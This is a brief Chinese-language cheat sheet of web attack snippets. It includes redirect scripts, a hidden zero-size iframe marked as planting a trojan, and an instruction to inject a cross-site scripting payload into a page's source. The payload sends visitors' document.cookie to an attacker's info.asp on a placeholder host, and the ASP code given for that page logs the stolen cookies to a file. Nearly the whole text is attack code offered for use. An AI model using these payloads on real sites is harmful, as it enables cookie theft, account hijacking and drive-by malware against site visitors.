<script>alert("黑客风云www.05112.com")</script>
<meta http-equiv="refresh" content="1;url=http://www.05112.com"> 转向代码
<script language=vbscript> window.location.href="http://www.05112.com" </script> 指定转象百度!
<iframe name="I1" src="http://www.05112.com/" width="0" height="0"> </iframe> 挂马
用源码编辑模式在</tbody>前插入跨站代码:
<script>windows.open('http://www.xxxx.com/info.asp?msg=' document.cookie)</script>
Info.asp的内容:
<%
testfile=Server.MapPath("buhu.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
<script language=vbscript>
window.location.href="http://www.xxxx.cn"
</script>
http://www.xxxx.cn为您的空间 盗取COOKIES



